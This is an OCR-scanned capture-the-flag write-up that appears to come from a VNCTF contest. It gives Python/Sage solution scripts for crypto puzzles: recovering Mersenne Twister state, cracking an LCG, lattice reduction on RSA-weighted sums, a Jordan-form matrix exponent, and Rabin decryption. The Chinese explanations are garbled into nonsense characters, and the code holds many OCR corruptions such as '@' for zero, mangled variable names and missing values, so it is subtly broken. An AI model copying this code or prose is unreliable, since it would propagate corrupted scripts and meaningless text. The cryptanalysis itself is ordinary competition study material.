BRRFIH 256 FoRE, MRBEW 256 XAUXL, BRELE—ANFHNEIE
EUHR, SPFFRR 24 bit thZREBBME R, XHTHRISER 48, 10min
R g H R

exp(sage):

IR sage EmMMERE, MEXRTT. MRELMBNBERSIRGE, FrIAZEMEH try-except.

Python

from Crypto.Util.number import *
from random import *

from tqdm import *

from sage.all import *

import sympy

data = []#/EJLIEA data.txt

def construct_a_row(RNG):
row = []
# JLIHFERET 29999 ANBEALEL
for _ in range(29999):
RNG.getrandbits(8)

# FREUE T ORI 9984 MEENLELIRT 2 17
for _ in range(9984):
# FRHEL 8 AL RENLEL, £ F 6 fr A IREEHT 2 fir
bits = RNG.getrandbits(8) >> 6
# BN —tHRDRETE R 2 £
row += list(map(int, bin(bits)[2:].zfill(2)))

return row

# TG LRy FRZH 1) P
L =[]
for i in trange(19968):
state = [0]*624 # MT19937 f#iHH 624 1~ 32 AL BEHAE AR

# HiE— A RAE A 1, HABHDY @ HIFFA



temp = "@"*i + "1"*1 + "@"*(19968-1-1i)
# KX TR 624 B, BB 32 i, e oA
for j in range(624):

state[j] = int(temp[32*j:32*j+32], 2)

RNG = Random()
RNG.setstate((3,tuple(state+[624]),None))
L.append(construct_a_row(RNG))

# 8 L B0 GF(2) ERIERE (k)
L = Matrix(GF(2),L)

def cul(xor):
try:

# Fi& HARME R

R=1]

for i in range(29999, 39983):
# OB AT AL
num = data[i] >> 6
R += list(map(int, (bin(num ~* xor)[2:].zfill(2))))

R = vector(GF(2), R)
s = L.solve _left(R) # XHA[RESMIH 7

# VAR Oy R 1 R

init = "".join(1list(map(str,s)))

state = []

# KR EI 624 1 32 A BEHY

for i in range(624):
state.append(int(init[32*i:32*i+32],2))

# BUEUETHY RNG JH B BRI ARG
RNG1 = Random()
RNG1.setstate((3,tuple(state+[624]),None))

for _ in range(40000):
RNG1.getrandbits(8)

sympy.nextprime(RNG1l.getrandbits(512))
sympy.nextprime(RNG1.getrandbits(512))

p

q

n =
269806048874032834965735186451010097579186066988534582601447843429
787723933934671596966747103281318842613556625147456224912610924657
452695772907587142396794090125571180303981474803320810422104082188



873412104474132547613451860678023917511229350978870100566088192724
53816990951833451399957608884115252497940851

e = 65537

encrypted_flag =
228471443723667818072963647542155838698720511375649870294098158791
893177304699496286420017321530662245317492694343134836574657085584
261417477712434424366395627851838696831904971793231588097575665820
760311639007737125825689426168294345089261651179197448571750794803
57695183964845638413639130567108300906156467

phi = (p-1)*(qg-1)

d = inverse(e,phi)

flag = pow(encrypted flag,d,n)

print(f"For xor value {xor}:")

print(long_to_bytes(flag))

except Exception as e:
print(f"Attempt with xor={xor} failed: {str(e)}")
pass # BEE4REL T —IXTEHN

# TR
print("Starting brute force...")
for i in range(4):
cul(i)
print("Brute force completed.")

BITER:

Plain Text

e
I | 10968/19968 [02:15<00:00, 147.38it/s]

Starting brute force...

Attempt with xor=0 failed: matrix equation has no solutions
For xor value 1:

b'VNCTF{FL4w3d_RC4_C@nv3rg3s_2 123 4nd_Mind_Sm4ller MT Brut3}'
Attempt with xor=2 failed: matrix equation has no solutions
Attempt with xor=3 failed: matrix equation has no solutions
Brute force completed.

flag:VNCTF{FL4w3d_RC4_CO0nv3rg3s_2_ 123 4nd_M1nd_Smdller_MT_Brut3}

Simple prediction
XA T EZWITALD flag B EARE BEEE, IUATEE| shuffle XFFEYIFTEL flag A



ERBEEMRN, TEBEEERM—EE
partl

B BEE L flag Al —#tFIAIE R, B #HHE0 0 W leg MARER, Al
W2 REMAE BRI ZRELEEE, SKEZI BRI IE#% A 256 AEHE (XT leg Kk,
EHENERRHENIEREST), ARLEMIERIBMESEIBEIERTON

XBEAEEEENIETRA, K3 g SEHELERENER, BUBANESHMEDLS,
AN BEFATRBEMNX—F: K#M flag X bVNCTF{FLEEMEL, ol
HIERT 48 (ML E R EL M.

[0,2,4,7,8,10, 11, 15, 16, 18, 19, 20, 21, 24, 26, 28, 30, 31, 32, 34, 35, 36, 39, 40,
45]

M E—HEREHESRELN, EIREENREAR, FHEHINT 6 HiuE
R —AdmHER, XA lcg MO IMEIETNE, &M a, b, mSEBRITTRR
JRREFFF &

Python
from Crypto.Util.number import *

class LCG:
def init_ (self, seed, a, b, m):
self.seed = seed

self.a = a
self.b = b
self.m =m

#print (f"LCG WUtk Z%: seed={self.seed}\n a={self.a}\n
b={self.b}\n m={self.m}")
def next(self):
self.seed = (self.seed * self.a + self.b) % self.m
return self.seed

def legendre(a, p):
return pow(a, (p - 1) // 2, p)

def tonelli(n, p):

assert legendre(n, p)

q=p-1

s =20

while q % 2 == O:
q//=2
s +=1

if s == 1:
return pow(n, (p + 1) // 4, p)

= 1, "not a square (mod p)"



for z in range(2, p):
if p - 1 == legendre(z, p):
break

c = pow(z, g, p)

r = pow(n, (q +1) // 2, p)
t = pow(n, g, p)

m=S

t2 = 0

while (t - 1) % p != 0:
t2 = (t*t) %p
for i in range(1, m):
if (t2 - 1) % p == 0:
break
12 = (t2 * t2) % p

b =pow(c, 1 < (m-1 - 1), p)
r=(r *b)%p
c=(b*Db) %p
t=(t*c)%p
m=1i

return r

def find longest arithmetic_sequence(indices, diff=2):
longest_sequence = []
n = len(indices)

for i in range(n):
sequence = [indices[i]]
next_term = indices[i] + diff

while next_term in indices:
sequence.append(next_term)
next_term += diff

if len(sequence) > len(longest_sequence):
longest_sequence = sequence

return longest sequence

str= b"VNCTF{"

binary flag = ''.join(f"{byte:08b}" for byte in str)

# print(binary_flag)

zero_indices = [i for i, bit in enumerate(binary flag) if bit ==
'0']

# print(zero_indices)



longest_sequence = find_longest_arithmetic_sequence(zero_indices,
diff=2)

print(f"#2B|F K d=2 1155 ZEEF]: {longest_sequence}")
print(f"=iAH leg A BT 773, 3K 1cg &24...")

x = [n[24], n[26], n[28], n[30], n[32],n[34],n[36]]
t =[]

for i in range(1l, len(x)):
t.append(x[i] - x[i-1])

m=0
for i in range(1, len(t)-1):

m = GCD(t[i+1]*t[i-1] - t[i]*t[i], m)
print(f"m={m}")

for p in sieve base:
whilem % p ==0: m //=p
assert isPrime(m)

a = (n[30] - n[28]) * inverse(n[28] - n[26], m) % m
a = tonelli(a%m, m)
b = (n[26] - a*a*n[24])*inverse(a+1l, m) % m

print(f"a={a}")
print(f"b={b}")

seed=n[0]
lcg = LCG(seed=seed, a=a, b=b, m=m)

recovered_numbers = []

for _ in range(8*64-1):
recovered_numbers.append(lcg.next())

recovered numbers.insert(0,n[0])

# print(recovered_numbers)

binary result = ""

for rec, ref in zip(recovered_numbers, n):
binary_result += "@" if rec == ref else "1"

# print(f" 3R . {binary_result}")

binary str=binary result

original bytes = [int(binary_str[i:i+8], 2) for i in range(@,
len(binary_str), 8)]

original string = bytes(original bytes).decode('utf-8') # ## AT
G



print(original_string)

#VNCTF{Happy_New_Year_C@Ongratulat

part2

flag 7£ 100 K E R, H{FH FLAG2 pii A— N EbEA RS listit 4 encoded_flag, @it
shuffle REFEVFTELERIRF, EXT—1 RSA, ILEMBEX c &MU T &4

c\equiv (0 + 0x1234)"e \timesm_0 + (1 + 0x1234)"e\timesm_1 +...+(i
+ 0x1234)"e\times m_i \mod n

ME—PRUFT BT UELEE

10 ... 0 0 (0x1234+0)°
0 1 0 0 (0x1234+1)°
(mo mo 1R 1 0 (0x1234+0)°
00 ..0 1 .
00 .. 00 n
=(my m ... mj 1 0)

Python
from Crypto.Util.number import *
from sage.all import *

Key = [pow((i + ©x1234), e, n) for i in range(100)]
Ge = Matrix(zz, 102, 102)
for i in range(100):

Ge[i, i] =1
Ge[i, -1] = Key[i]

Ge[-2, -2] =
Ge[-1, -1] =
Ge[-2, -1] =

Ge[:, -1] *= 2**200
FLAG2 = None

for line in Ge.LLL():
if line[-1] == ©:



flag =
for i in line[:-2]:
if @ <= 1 <= Ox1OFFFF:
flag += chr(i)

else:
print(f"IREFR I {1}")
flag += "?"
FLAG2 = flag
break

print(f"FLAG2: {FLAG2}")

#FLAG2: i@ns_On_RecOvering The_Messages}

ssOHurt!

MBEATE T — hash, process REIR=EA Xy,z GEKE— N EE

[5x +y — 525y —25z], SRENTTFHAM flag thmiE m £ T symbolic #9 x,y,z fifi—
UZH, BFHEEFERSXKIRE—RAENRER

fBRi%& process B —RAMEEEIRT, FAplana = Mat(m//2)F2ITHET™/2 R

planb(*planb)t £ (TM/21)? | Frl) Mat ESTRRET™ (x)
HAMTRAESZEL R EERE, BHESE Tv=A4Tukm

BREHFNE—MHEREN AL, REZELI ARTXNHL, BHEH jordan form,
WERERMA =P/P~!, HP IR E=/H5EK

Hep, A™ = (P/JP~H™ =P/™P", ETATTINRT AV =)™

5 1 0
ETIME XI =0 5 1],
0 0 5

J*E] X E 3% A WolframAlpha 1+ & & 2])™ 0 50 10m

5m_2[50 10m 1n2——n1
0 50

sm-2 50 10nl m?—-m
ﬁﬁu ]’”[ ] [0 10m ” ]
0
B TIEERAI TSR m
Python

from Crypto.Util.number import *



n =
106743081253087007974132382690669187409167641660258665859915640694
456867788135702053312073228376307091325146727550371538313884850638
568106223326195447798997814912891375244381751926653858549419946547
894675646011818800255999071070352934719005006228971056393128007601
573916373180007524930454138943896336817929823

K = Zmod(n)

A = matrix(K, [[5, 1, -5], [@, 5, -1], [@, @, 5]])
u = vector(K, (2025, 208, 209))
v = vector(

K,

(

171997077187629894817337935692409927762430999727843271962120239366
221302047986947538650875016543816238760111287832290202782101603831
854176707942840156924583267610118080489678543324135361837854589931
285248814475293803878047122143050348418562370454632432434515856199
97751904403447841431924053651568039257094910,
625039766743847448374179867814995383351643336796033209982416759702
537624111346726143075945054427982715815931680801107277381817553398
289098799774196453316307914204487369595541727318993018847796911191
774004576408263619143599648899956182738439558200500511364017313429
98940859792560938931787155426766034754760036,
938401217406565431706165460279066235888915731136731130776372571310
792214293280357964168749953887951840806363121859081734224612542665
360669912059332701919647765771965731478470004461183119853316803787
729201698945413500644232437334986726848750399068290954736779272384
88927923581806647297338935716890606987700071

)s
)

J, P = A.jordan_form(transformation=True)
# A”n*v=u

# A=PJIP~-1

# I n*vv=uu

print(3J)

Vv = ~P * v

uu = ~P * u

X, Y, Z = uu

XX, YY, ZZ = VV

n=(50 *yy *z-50*y*zz)/ (10 * z * zz)
print(long_to_bytes(int(n)))



shlkaku fw

197 4 Y LWE R21R47{% F Lattice Reduction 1344 3k, %8 S3h7E error {XE 2
A, MBI,

M4 pro 12 478, @R list 2 10s ZAMERT, BRMEKEEENE. HPEE
solve_right #8 Lk 45K inverse E#, A4 180s,

M4pro B4 2935 KB 330s BLeERL TR, A solve_right —3Re] Uifk, A
C {it 20s WS LLTERBE M VIR B, 2477 450s BIFR I,

easymath
REREN—ERE, REEXDB—THE=AFEHZ/FH rabin EEKR

Python

from sympy import symbols, Eq, solve
from Crypto.Util.number import *
import itertools

x = symbols('x")

Cc =
248842513136042751892595714590053743652047722702507255900146515191
253171343071603416581995516613333267035669964310674261386273321565
07267671028553934664652787411834581708944

polynomial = x**3 -
15264966144147258587171776703005926730518438603688487721465*x**2 +
765132501806669481902549897037683382997233861546194687007300855860
57638716434556720233473454400881002065319569292923*x -
125440939526343949494022113552414275560444252378483072729156599143
746741258532431664938677330319449789665352104352620658550544887807
433866999963624320909981994018431526620619

n = solve(Eq(polynomial, @), x)

-+
o
]
=2 T B
* M
N >
©T S

def crt(primes, remainders):
result = 0
for i in range(len(primes)):
Mi =N // primes[i]
inv = inverse(Mi, primes[i])



result += remainders[i] * Mi * inv
return result % N

roots = [pow(c, (int(p) + 1) // 4, int(p)) for p in n]

# WIH AT RERAT S A
for signs in itertools.product([1, -1], repeat=3):
adjusted_roots = [
signs[@] * roots[@] % n[0],
signs[1] * roots[1] % n[1],
signs[2] * roots[2] % n[2]
1
flag = crt(n, adjusted_roots)
print(long_to_bytes(flag))
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